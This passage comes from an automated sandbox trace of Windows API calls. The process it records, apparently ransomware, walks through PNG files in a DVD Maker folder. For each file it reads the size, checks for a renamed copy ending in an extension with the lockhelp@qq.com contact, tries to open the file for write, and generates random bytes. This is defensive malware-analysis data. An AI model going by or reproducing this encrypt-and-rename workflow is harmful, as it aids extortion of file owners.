maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.619] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.619] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.619] CloseHandle (hObject=0x30c) returned 1 [0274.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.619] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.620] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.620] CloseHandle (hObject=0x30c) returned 1 [0274.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0274.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.620] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.625] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.625] CloseHandle (hObject=0x30c) returned 1 [0274.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.627] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.628] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.628] CloseHandle (hObject=0x30c) returned 1 [0274.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0274.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.628] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.628] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.628] CloseHandle (hObject=0x30c) returned 1 [0274.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.629] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.629] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24791) returned 1 [0274.629] CloseHandle (hObject=0x30c) returned 1 [0274.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0274.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.629] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.632] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=28701) returned 1 [0274.632] CloseHandle (hObject=0x30c) returned 1 [0274.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0274.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.633] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.633] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1545) returned 1 [0274.633] CloseHandle (hObject=0x30c) returned 1 [0274.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0274.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.633] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.633] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3159) returned 1 [0274.633] CloseHandle (hObject=0x30c) returned 1 [0274.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0274.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.634] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.634] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8509) returned 1 [0274.636] CloseHandle (hObject=0x30c) returned 1 [0274.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0274.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.637] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.637] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8120) returned 1 [0274.637] CloseHandle (hObject=0x30c) returned 1 [0274.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0274.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.638] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.638] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8406) returned 1 [0274.638] CloseHandle (hObject=0x30c) returned 1 [0274.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0274.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.638] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.638] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=962) returned 1 [0274.638] CloseHandle (hObject=0x30c) returned 1 [0274.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0274.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.639] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.639] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=716) returned 1 [0274.639] CloseHandle (hObject=0x30c) returned 1 [0274.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0274.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.639] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.640] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=293917) returned 1 [0274.640] CloseHandle (hObject=0x30c) returned 1 [0274.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0274.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.640] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.640] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=70262) returned 1 [0274.640] CloseHandle (hObject=0x30c) returned 1 [0274.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0274.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 